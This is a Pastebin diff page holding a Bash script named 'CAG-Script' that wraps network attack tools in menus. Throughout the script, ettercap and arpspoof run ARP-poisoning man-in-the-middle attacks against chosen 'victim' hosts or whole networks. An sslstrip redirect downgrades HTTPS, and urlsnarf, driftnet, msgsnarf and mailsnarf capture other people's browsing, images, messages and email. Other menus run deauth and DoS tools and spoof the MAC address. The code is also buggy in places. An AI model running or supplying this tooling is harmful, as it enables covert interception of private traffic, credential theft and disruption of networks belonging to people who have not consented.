View difference between Paste ID: EAWqCebR and

-
+#!/bin/bash
 #CAG-Script v0.4
 #Script by CAG (aka BobaFett)
 #May 2010 (updated June 2010)
 #To run script, modify the "Customizable Variables" section to meet your needs, make it executable using chmod, or simply right click->properties->permissions->check "is executable", then change to the appropriate directory and type ./CAG-Script in terminal.
 #I recommend you run this script on BT4. You will need to install some other programs (like airdrop-ng) if you wish to use them
 #On a BT4 live cd I suggest you run my Airdrop-ng install script which will be posted on Pastebin shortly and then integrated into this script
 
 ############### Customizable Variables ################
 #You must change these to meet your system needs
 export MACSPOOF="00:11:22:33:44:55"				#Mac that macchanger defaults too. Can be any mac address
 
 export WIFIMAN="wlan0"						#your card interface (i.e. wlan0, eth0, etc)
 export WIFIMON="mon0"						#virtual "monitor mode" interface created using Airmon-ng
 
 export TERMINAL="xterm"				#Your terminal emulator of choice (i.e. xterm, terminator, etc)
 
 export SSLSTRIPPORT="8080"					#This can be any (small) number you choose
 export SSLOPTIONS="-k -f -l $SSLSTRIPPORT"			#Sslstrip options, run "driftnet -h" for help
 export SSLSTRIPLOC=".../.sslstrip-0.7"		#Location off sslstrip.py
 
 export DRIFTNETOUT=".../Pics"		#Where Driftnet stores captured images
 export DRIFTNETOPTIONS="-a -d"					#Driftnet options, run "driftnet -h" for help
 
 export DROPRULES="/root/rules"					#Airdrop-ng drop rules. You can edit this file "realtime" during the program
 
 export TEXTEDITOR="kate"					#Any gui text editor (i.e. kate, geany, etc)
 
 export DEFAULTAIRODUMPOUT="/root/test"				#Airodump output file location
 export VICTIMIP="192.168.1.2"					#default victim, you can change this temporarilly during the script
 ############### Customizable Variables ################
 
 ################## Static Variables ###################
 #Don't change any of these variables unless you know what you're doing
 export ROOT_UID=0
 export E_NOTROOT=87
 export SSLSTRIPRUN=0
 export ESSIDVAR=$(iwconfig $WIFIMAN | grep ESSID | cut -d '"' -f 2)
 export GATEWAYIP=$(ip route show | grep default | awk '{ print $3}')
 export SELFIP=$(echo $ip_addr_str|cut -d ' ' -f 9)
 export SELFMAC=$(ifconfig ${self_ip_dev}|grep 'HWaddr'|cut -c 39-55)
 export fileout=false
 export fileout_path='./macs'
 export ipblocks=51
 export tmpfile=$(tempfile)
 export self_ip_dev=$(echo $ip_addr_str|cut -d ' ' -f 3)
 ################## Static Variables ###################
 
 ###################### Functions ######################
 Configmenufunc()
 {
 echo "1-6 are temporary. 7 is permanent."
 echo
 echo "1) Set Wireless/Wired interface (current: $WIFIMAN)"
 echo "2) Set gui text editor (current: $TEXTEDITOR)"
 echo "3) Set sslstrip options (current: $SSLOPTIONS)"
 echo "4) Set Driftnet output location (current: $DRIFTNETOUT"
 echo "5) Set Driftnet options (current: $DRIFTNETOPTIONS"
 echo "6) Set terminal emulator (current: $TERMINAL)"
 echo "7) Modify CAG-Script source"
 echo "8) Exit"
 echo "9) < Return to main menu"
 while [ 1 ]
 do
         read Configmenufunccase
         case "$Configmenufunccase" in
                 "1")
 			clear
 			echo "Type Wireless/Wired interface (i.e Wlan0):"
 			read WIFIMAN
 			export $WIFIMAN
 			Configmenufunc
                         ;;
 		"2")
 			clear
 			echo "Type gui text editor (i.e kate):"
 			read TEXTEDITOR
 			export $TEXTEDITOR
 			Configmenufunc
 			;;
                 "3")
 			clear
 			echo "Type sslstrip options (i.e. -k -f -l 8080):"
 			read SSLOPTIONS
 			export $SSLOPTIONS
 			Configmenufunc
 			;;
                 "4")
 			clear
 			echo "Type Driftnet output location (i.e. /root/Pics):"
 			read DRIFTNETOUT
 			export $DRIFTNETOUT
 			Configmenufunc
                         ;;
 		"5")
 			clear
 			echo "Type terminal emulator (i.e. xterm):"
 			read TERMINAL
 			export $TERMINAL
 			Configmenufunc
 			;;
 		"6")
 			clear
 			echo "Type terminal emulator (i.e. xterm):"
 			read TERMINAL
 			export $TERMINAL
 			Configmenufunc
 			;;
 		"7")
 			clear
 			echo "*WARNING* Do not modify any section of this file other than 'Customizable Variables' section unless you know what you're doing. All changes are permanent."
 			$TEXTEDITOR CAG-Script
 			clear
 			Configmenufunc
 			;;
                 "8")
 			#exitfunc this needs to be written
 			exit
 			;;
 		"9")
 			clear
 			Mainmenufunc
 			;;
 	esac
 done
 }
 export -f Configmenufunc
 
 
 scriptstartfunc()
 {
 echo "Initializing CAG-Script."
 sleep .3
 clear
 echo "Initializing CAG-Script.."
 sleep .3
 clear
 echo "Initializing CAG-Script..."
 sleep .5
 clear
 }
 
 nmapscanfunc()
 {
 export GATEWAYLENGTH=$(expr length "$GATEWAYIP")
 
 if [ $GATEWAYLENGTH -eq "11" ]
 then
   export NMAPVICTIMFRONT=$(ip route show | grep default | awk '{ print $3}' | cut -c 1-10)
   export NMAPVICTIMEND="*"
   NMAPVICTIMS="${NMAPVICTIMFRONT}${NMAPVICTIMEND}"
 else
   echo "non-standard ‬ip length, type nmap victims manually, replacing last digit(s) with '*' (i.e. 192.168.1.*)"
   read NMAPVICTIMS
 fi
 
 clear
 
     nmap -n -sP -oG ${tmpfile} $NMAPVICTIMS #>/dev/null
     ip_list=$(grep 'Status: Up' ${tmpfile}|cut -d ' ' -f 2 )
 
 set $ip_list
 victim1=$1
 victim2=$2
 victim3=$3
 victim4=$4
 victim5=$5
 victim6=$6
 victim7=$7
 victim8=$8
 victim9=$9
 }
 export -f nmapscanfunc
 
 choosevictimafternmapfunc()
 {
 if [ $victim1 -ne ] 2>/dev/null
 then
   echo -n
 else
 echo "1) $victim1"
 fi
 
 if [ $victim2 -ne ] 2>/dev/null
 then
   echo -n
 else
 echo "2) $victim2"
 fi
 
 if [ $victim3 -ne ] 2>/dev/null
 then
   echo -n
 else
 echo "3) $victim3"
 fi
 
 if [ $victim4 -ne ] 2>/dev/null
 then
   echo -n
 else
 echo "4) $victim4"
 fi
 
 if [ $victim5 -ne ] 2>/dev/null
 then
   echo -n
 else
 echo "5) $victim5"
 fi
 
 if [ $victim6 -ne ] 2>/dev/null
 then
   echo -n
 else
 echo "6) $victim6"
 fi
 
 if [ $victim7 -ne ] 2>/dev/null
 then
   echo -n
 else
 echo "7) $victim7"
 fi
 
 if [ $victim8 -ne ] 2>/dev/null
 then
   echo -n
 else
 echo "8) $victim8"
 fi
 
 if [ $victim9 -ne ] 2>/dev/null
 then
   echo -n
 else
 echo "9) $victim9"
 fi
 
 echo "choose victim IP:"
 
 while [ 1 ]
 do
         read Nmapscancase
         case "$Nmapscancase" in
                 "1")
 			export VICTIMIP=$victim1
 			break
                         ;;
 		"2")
 			export VICTIMIP=$victim2
 			break
 			;;
                 "3")
 			export VICTIMIP=$victim3
 			break
 			;;
                 "4")
 			export VICTIMIP=$victim4
 			break
                         ;;
 		"5")
 			export VICTIMIP=$victim5
 			break
 			;;
                 "6")
 			export VICTIMIP=$victim6
 			break
 			;;
                 "7")
 			export VICTIMIP=$victim7
 			break
                         ;;
 		"8")
 			export VICTIMIP=$victim8
 			break
 			;;
 		"9")
 			export VICTIMIP=$victim9
 			break
 			;;
 	esac
 done
 }
 export -f choosevictimafternmapfunc
 
 arghelp()
 {
 Usage: $0 ./CAG-Script [args]
 echo"    -h, --help     -  Print this help and exit"
 echo"    -i. --iface    -  Interface to use"
 
 echo"    -v, --victim   -  IP address of desired host"
 echo"    -g, --gateway  -  IP address of network gateway"
 }
 export -f arghelp
 
 argfunc()
 {
 export -f arghelp
 
 while [ $# -gt 0 ]
 do
 	case "$1" in
 		"-h"|"--help")
 			help
 			exit
 		;;
 		"-v"|"--victim")
 			export VICTIMIP="$2"
 		;;
 		"-g"|"--gw")
 			export GATEWAYIP="$2"
 		;;
 		"-i"|"--iface")
 			if [ $(ifconfig "$2" &> /dev/null; echo $?) == 1 ] ;then
 				die "Error: interface "$2" does not exist!"
 			else
 				iface="-i $2"
 			fi
 		;;
 	esac
 	shift
 done
 }
 export -f argfunc
 
 rootcheck()
 {
 if [ "$UID" -ne "$ROOT_UID" ]
 then
   echo "Must be root to run this script."
   exit $E_NOTROOT
 fi
 }
 export -f rootcheck
 
 ipforwardstartfunc()
 {
 echo 1 > /proc/sys/net/ipv4/ip_forward
 }
 export -f ipforwardstartfunc
 
 ipforwardstopfunc()
 {
 while [ $(cat /proc/sys/net/ipv4/ip_forward) == 1 ]
 	do
 		echo 0 > /proc/sys/net/ipv4/ip_forward
 	done
 }
 export -f ipforwardstopfunc
 
 checkconnectionfunc()
 {
 export GATEWAYIP="$(ip route show | grep default | awk '{ print $3}')"
 if [ $GATEWAYIP -ne ]
 then
 	echo "No internet available :("
 	export connectionvar=0
 else
 	export GATEWAYIP="$(ip route show | grep default | awk '{ print $3}')"
 	export VICTIMIP="/${IP1}${IP2}/"
 	echo "We've got internet"
 	export connectionvar=1
 exit
 fi
 }
 
 essidfunc()
 {
 export ESSIDVAR=$(iwconfig $WIFIMAN | grep ESSID | cut -d '"' -f 2)
 echo "connected to $ESSIDVAR"
 }
 
 exitfunc()
 {
 echo 0 > /proc/sys/net/ipv4/ip_forward
 killall sslstrip 2>/dev/null
 pkill sslstrip 2>/dev/null
 iptables --flush
 iptables --table nat --flush
 iptables --delete-chain
 iptables --table nat --delete-chain
 }
 export -f exitfunc
 
 sslstripexitfunc()
 {
 iptables --flush
 iptables --table nat --flush
 iptables --delete-chain
 iptables --table nat --delete-chain
 }
 export -f sslstripexitfunc
 
 chooseettercapvictim()
 {
 echo "Complete victim IP:"
 echo "leave blank and press enter to spoof entire network"
 echo -n "192.168." && read IP2
 IP1=192.168.
 if [ $IP2 -eq ]
 then
 	export VICTIMIP="//"
 	export GATEWAYIP="//"
 	echo "spoofing entire network..."
 	echo "press q to re-arp victims"
 else
 	export GATEWAYIP=$(ip route show | grep default | awk '{ print $3}')
 	export VICTIMIP="/${IP1}${IP2}/"
 fi
 }
 export -f chooseettercapvictim
 
 choosearpspoofvictim()
 {
 echo "Complete victim IP:"
 echo "leave blank and press enter to spoof entire network"
 echo -n "192.168." && read IP2
 IP1=192.168.
 if [ $IP2 -eq ]
 then
 	export VICTIMIP=" "
 	export TARGETOPTION=" "
 	echo "spoofing entire network..."
 else
 	export VICTIMIP=${IP1}${IP2}
 	export TARGETOPTION="-t"
 	echo $VICTIMIP
 fi
 }
 export -f choosearpspoofvictim
 
 ettercapfunc()
 {
 echo "1) Run Arp-Poisoning attack against $VICTIMIP"
 echo "2) Spoof entire network (this will drastically slow down large networks)"
 echo "3) Manually type victim IP"
 echo "4) Scan for victims using Nmap"
 echo "5) < Return to MITM menu"
 echo "6) exit"
 while [ 1 ]
 do
         read restartettercapmenu
         case "$restartettercapmenu" in
                 "1")
 			echo " "
 			echo "...starting Ettercap-Ng, press q to stop attack..."
 			echo " "
 			ettercap -T -i $WIFIMAN -Tq -M ARP /$GATEWAYIP/ /$VICTIMIP/
 			export GATEWAYIP=$(ip route show | grep default | awk '{ print $3}')
 			ettercapfunc
                         ;;
 
 		"2")
 			echo " "
 			echo "...starting Ettercap-Ng, press q to stop attack..."
 			echo " "
 			ettercap -T -i $WIFIMAN -Tq -M ARP // //
 			export GATEWAYIP=$(ip route show | grep default | awk '{ print $3}')
 			ettercapfunc
                         ;;
 		"3")
 			echo " "
 			echo "...starting Ettercap-Ng, press q to stop attack..."
 			echo " "
 			chooseettercapvictim
 			ettercap -T -i $WIFIMAN -Tq -M ARP /$GATEWAYIP/ $VICTIMIP
 			export GATEWAYIP=$(ip route show | grep default | awk '{ print $3}')
 			ettercapfunc
 			;;
 		"4")
 			nmapscanfunc
 			choosevictimafternmapfunc
 			echo " "
 			echo "...starting Ettercap-Ng, press q to stop attack..."
 			echo " "
 			export GATEWAYIP=$(ip route show | grep default | awk '{ print $3}')
 			ettercap -T -i $WIFIMAN -Tq -M ARP /$GATEWAYIP/ /$VICTIMIP/
 			ettercapfunc
 			;;
 		"5")
 			clear
 			MITMattackmenufunc
 			;;
                 "6")
 			exit
 			;;
 	esac
 done
 }
 export -f ettercapfunc
 
 arpspooffunc()
 {
 echo "1) Run Arp-Poisoning attack against $VICTIMIP"
 echo "2) Spoof entire network (this will drastically slow down large networks)"
 echo "3) Manually type victim IP"
 echo "4) Scan for victims using Nmap"
 echo "5) < Return to MITM menu"
 echo "6) exit"
 while [ 1 ]
 do
         read restartarpspoofmenu
         case "$restartarpspoofmenu" in
                 "1")
 			echo " "
 			echo "...starting Arpspoof, press ctrl-c to stop attack..."
 			echo " "
 			ipforwardstartfunc
 			arpspoof -i $WIFIMAN -t $VICTIMIP $GATEWAYIP
 			arpspooffunc
                         ;;
 
                 "2")
 			echo " "
 			echo "...starting Arpspoof, press ctrl-c to stop attack..."
 			echo " "
 			ipforwardstartfunc
 			arpspoof -i $WIFIMAN $GATEWAYIP
 			arpspooffunc
                         ;;
 
 		"3")
 			choosearpspoofvictim
 			echo
 			echo "...starting Arpspoof attack, press ctrl-c to stop attack..."
 			echo
 			ipforwardstartfunc
 			arpspoof -i $WIFIMAN $TARGETOPTION $VICTIMIP $GATEWAYIP
 			arpspooffunc
                         ;;
 		"4")
 			nmapscanfunc
 			choosevictimafternmapfunc
 			echo
 			echo "...starting Arpspoof attack, press ctrl-c to stop attack..."
 			echo
 			ipforwardstartfunc
 			arpspoof -i $WIFIMAN -t $VICTIMIP $GATEWAYIP
 			arpspooffunc
 			MITMattackmenufunc
 			;;
                "5")
 			MITMattackmenufunc
 			;;
                 "6")
 			exit
 			;;
 	esac
 done
 }
 export -f arpspooffunc
 
 urlsnarffunc()
 {
 ipforwardstartfunc
 urlsnarf -i $WIFIMAN
 }
 export -f urlsnarffunc
 
 driftnetfunc()
 {
 ipforwardstartfunc
 driftnet -i $WIFIMAN $DRIFTNETOPTIONS $DRIFTNETOUT
 echo "Driftnet killed, delete captured images? (yes,no)"
 read driftnetdeleteopt
 if [ $driftnetdeleteopt -eq yes ]
 then
   rm -r $DRIFTNETOUT
   mkdir $DRIFTNETOUT
 else
   exit
 fi
 }
 export -f driftnetfunc
 
 webspyfunc()
 {
 echo "not complete"
 }
 export -f webspyfunc
 
 msgsnarffunc()
 {
 ipforwardstartfunc
 msgsnarf -i wlan0
 }
 export -f msgsnarffunc
 
 mailsnarffunc()
 {
 ipforwardstartfunc
 mailsnarf -i wlan0
 }
 export -f mailsnarffunc
 
 sslstripfunc()
 {
 #if [ "$SSLSTRIPRUN" -eq "0" ]
 #then
   iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port $SSLSTRIPPORT
 #  SSLSTRIPRUN=1
 #fi
 #ipforwardstartfunc
 echo 1 > /proc/sys/net/ipv4/ip_forward
 cd $SSLSTRIPLOC
 #$TERMINAL --execute bash -c "cd $SSLSTRIPLOC && cat sslstrip.log ; bash" &
 python sslstrip.py $SSLOPTIONS 2> /dev/null
 }
 export -f sslstripfunc
 
 tcpkillfunc()
 {
 echo "not complete"
 }
 export -f tcpkillfunc
 
 MITMhelpfunc()
 {
 clear
 echo "CHoose program manual to read:"
 echo "1) Ettercap-ng"
 echo "2) Arpspoof"
 echo "3) Urlsnarf"
 echo "4) Driftnet"
 echo "5) Webspy"
 echo "6) Msgsnarf"
 echo "7) Mailsnarf"
 echo "8) Sslstrip"
 echo "9) Tcpkill"
 echo "10) < Return to MITM menu"
 while [ 1 ]
 do
         read MITMhelpcase
         case "$MITMhelpcase" in
                 "1")
 			ettercap -h
 			echo "Press enter to return to help menu:"
 			read MITMHELPVAR
 			clear
 			MITMattackmenufunc
                         ;;
 
 		"2")
 			arpspoof -h
 			echo "Press enter to return to help menu:"
 			read MITMHELPVAR
 			clear
 			MITMattackmenufunc
 			;;
                 "3")
 			urlsnarf -h
 			echo "Press enter to return to help menu:"
 			read MITMHELPVAR
 			clear
 			MITMattackmenufunc
 			;;
                 "4")
 			driftnet -h
 			echo "Press enter to return to help menu:"
 			read MITMHELPVAR
 			clear
 			MITMattackmenufunc
                         ;;
 		"5")
 			webspy -h
 			echo "Press enter to return to help menu:"
 			read MITMHELPVAR
 			clear
 			MITMattackmenufunc
 			;;
 
                 "6")
 			msgsnarf -h
 			echo "Press enter to return to help menu:"
 			read MITMHELPVAR
 			clear
 			MITMattackmenufunc
 			;;
                 "7")
 			mailsnarf -h
 			echo "Press enter to return to help menu:"
 			read MITMHELPVAR
 			clear
 			MITMattackmenufunc
 			;;
                 "8")
 			cd $SSLSTRIPLOC
 			python sslstrip.py -h
 			echo "Press enter to return to help menu:"
 			read MITMHELPVAR
 			clear
 			MITMattackmenufunc
                         ;;
 		"9")
 			tcpkill -h
 			echo "Press enter to return to help menu:"
 			read MITMHELPVAR
 			clear
 			MITMattackmenufunc
 			;;
 		"10")
 			clear
 			MITMattackmenufunc
 			;;
 	esac
 done
 }
 export -f MITMhelpfunc
 
 MITMattackmenufunc()
 {
 clear
 echo "Choose program:"
 echo "1) Ettercap"
 echo "2) Arpspoof"
 echo "3) Urlsnarf"
 echo "4) Driftnet"
 echo "5) Webspy (not working yet...)"
 echo "6) Msgsnarf"
 echo "7) Mailsnarf"
 echo "8) Sslstrip"
 echo "9) Tcpkill"
 echo "10) Help"
 echo "11) < Return to main menu"
 
 while [ 1 ]
 do
 
         read MITMattackmenucase
         case "$MITMattackmenucase" in
 		"1")
 			$TERMINAL --execute bash -c "ettercapfunc ; bash" &
 			clear
 			MITMattackmenufunc
                         ;;
 		"2")
 			$TERMINAL --execute bash -c "arpspooffunc ; bash" &
 			clear
 			MITMattackmenufunc
 			;;
                 "3")
 			$TERMINAL --execute bash -c "urlsnarffunc ; bash" &
 			clear
 			MITMattackmenufunc
 			;;
                 "4")
 			$TERMINAL --execute bash -c "driftnetfunc ; bash" &
 			clear
 			MITMattackmenufunc
                         ;;
 		"5")
 			$TERMINAL --execute bash -c "webspyfunc ; bash" &
 			clear
 			MITMattackmenufunc
 			;;
 		"6")
 			$TERMINAL --execute bash -c "msgsnarffunc ; bash" &
 			clear
 			MITMattackmenufunc
 			;;
                 "7")
 			$TERMINAL --execute bash -c "mailsnarffunc ; bash" &
 			clear
 			MITMattackmenufunc
 			;;
 		"8")
 			$TERMINAL --execute bash -c "sslstripfunc ; bash" &
 			MITMattackmenufunc
 			;;
                 "9")
 			clear
 			MITMattackmenufunc
                         ;;
                 "10")
 			$TERMINAL --execute bash -c "tcpkillfunc ; bash" &
 			clear
 			MITMhelpfunc
 			;;
                 "11")
 			clear
 			Mainmenufunc
 			;;
 	esac
 done
 }
 export -f MITMattackmenufunc
 
 Mainmenufunc()
 {
 echo "Choose type of attack:"
 echo "1) MITM attack"
 echo "2) Passive sniffing and probing"
 echo "3) Deauth/Dos attack"
 echo "4) Config"
 echo "5) Help"
 echo "6) Exit"
 while [ 1 ]
 do
         read Mainmenucase
         case "$Mainmenucase" in
                 "1")
 			clear
 			MITMattackmenufunc
 			Mainmenufunc
                         ;;
 		"2")
 			clear
 			Passivesniffingmenufunc
 			Mainmenufunc
 			;;
                 "3")
 			clear
 			Deauthmenu
 			Mainmenufunc
                         ;;
 		"4")
 			clear
 			Configmenufunc
 			;;
 		"5")
 			clear
 			echo "No help yet, sorry..."
 			Mainmenufunc
 			;;
                 "6")
 			exit
 			;;
 	esac
 done
 }
 
 Passivesniffingmenufunc()
 {
 echo "Choose program to run:"
 echo "1) Wireshark"
 echo "2) Zenmap"
 echo "3) EtherApe"
 echo "4) Angry IP Scanner"
 echo "5) ifconfig"
 echo "6) iwconfig"
 echo "7) Help"
 echo "8) Exit"
 echo "9) < Return to main menu"
 
 while [ 1 ]
 do
         read Passivesniffingmenucase
         case "$Passivesniffingmenucase" in
                 "1")
 			wireshark 2> /dev/null &
 			clear
 			Passivesniffingmenufunc
                         ;;
 		"2")
 			zenmap 2> /dev/null &
 			clear
 			Passivesniffingmenufunc
 			;;
                 "3")
 			etherape -i $WIFIMAN 2> /dev/null &
 			clear
 			Passivesniffingmenufunc
 			;;
                 "4")
 			/usr/bin/ipscan 2> /dev/null &
 			clear
 			Passivesniffingmenufunc
                         ;;
 		"5")
 			ifconfig
 			Passivesniffingmenufunc
 			;;
                 "6")
 			iwconfig
 			Passivesniffingmenufunc
 			;;
 		"7")
 			clear
 			echo "No help, sorry..."
 			Passivesniffingmenufunc
 			;;
                 "8")
 			#exitfunc this needs to be written
 			exit
 			;;
 		"9")
 			Mainmenufunc
 			;;
 	esac
 done
 }
 export Passivesniffingmenufunc
 
 Macchangerfunc()
 {
         echo "1) Spoof Mac address to $MACSPOOF"
 	echo "2) Manually type Mac address"
 	echo "3) Random Mac address"
 	echo "4) Run custom command"
 	echo "5) Help"
 	echo "6) < Return to main menu"
 while [ 1 ]
 do
         read CHOICE1
         case "$CHOICE1" in
                 "1")
       			ifconfig $WIFIMAN down
 			macchanger $WIFIMAN -m $MACSPOOF
 			ifconfig $WIFIMAN up
 			echo
 			Mainmenufunc
 		        ;;
 		"2")
 			echo "Type new fake mac address: (i.e. 00:11:22:33:44:55)"
 			read MACINTCUSTOM
 			ifconfig $WIFIMAN down
 			macchanger $WIFIMAN -m $MACINTCUSTOM
 			ifconfig $WIFIMAN up
 			echo
 			Mainmenufunc
 			;;
 		"3")
 			macchanger $WIFIMAN -r
 			echo
 			Mainmenufunc
 			;;
 		"4")
 			echo "Type custom macchanger command:"
 			ifconfig $WIFIMAN down
 			echo -n "macchanger $WIFIMAN" && read $CUSTOMMACCHANGEROPTONS
 			macchanger $WIFIMAN $CUSTOMMACCHANGEROPTONS
 			ifconfig $WIFIMAN up
 			clear
 			Mainmenufunc
 			;;
 		"5")
 			clear
 			Mainmenufunc
 			;;
 		"6")
 			clear
 			Mainmenufunc
 			;;
         esac
 done
 }
 export -f Macchangerfunc
 
 Deauthmenu()
 {
 echo "Choose program to run:"
 echo "1) Airdrop-ng"
 echo "2) Tuxcut"
 #echo "3) "
 #echo "4) "
 #echo "5) "
 #echo "6) "
 #echo "7) "
 echo "3) Help"
 echo "4) Exit"
 echo "5) < Return to main menu"
 
 while [ 1 ]
 do
         read Deauthmenucase
         case "$Deauthmenucase" in
                 "1")
 			$TERMINAL --execute bash -c "Airdropngfunc ; bash" &
 			clear
 			Passivesniffingmenufunc
                         ;;
 		"2")
 			tuxcut &
 			clear
 			Passivesniffingmenufunc
 			;;
 		"3")
 			echo "No help yet, sorry..."
 			Passivesniffingmenufunc
 			;;
                 "4")
 			#exitfunc this needs to be written
 			exit
 			;;
 		"5")
 			Mainmenufunc
 			;;
 	esac
 done
 }
 export -f Deauthmenu
 
 Airdropngfunc()
 {
 rm /root/*.csv 2> /dev/null #cleaning up csv from previous run  2> /dev/null
 
 echo "1) use default output location ($DEFAULTAIRODUMPOUT)"
 echo "2) choose airodump output name"
 echo "3) quit"
 
 while [ 1 ]
 do
         read CHOICE3
         case "$CHOICE3" in
 		"1")
 			airoout="$DEFAULTAIRODUMPOUT"
 			break
 			;;
                 "2")
 			echo "output name: (i.e. $DEFAULTAIRODUMPOUT)"
       			read airoout
 			echo $airoout
                         ;;
                 "3")
 
 			rm $airoout*.csv  2> /dev/null #cleaning up csv from previous run
 			exit
                         ;;
         esac
 done
 
 echo "starting airodump-ng on $WIFIMAN"
 $TERMINAL --geometry=1024x576 --execute bash -c "airodump-ng $WIFIMAN -w $airoout --output-format csv ; bash" 2> /dev/null &
 
 $TEXTEDITOR $DROPRULES
 
 airdrop-ng -i $WIFIMAN -t $airoout-01.csv -r $DROPRULES -b -p
 }
 export -f Airdropngfunc
 ###################### Functions ######################
 
 #################### Main Program #####################
 clear
 rootcheck
 argfunc
 scriptstartfunc
 Mainmenufunc
 #################### Main Program #####################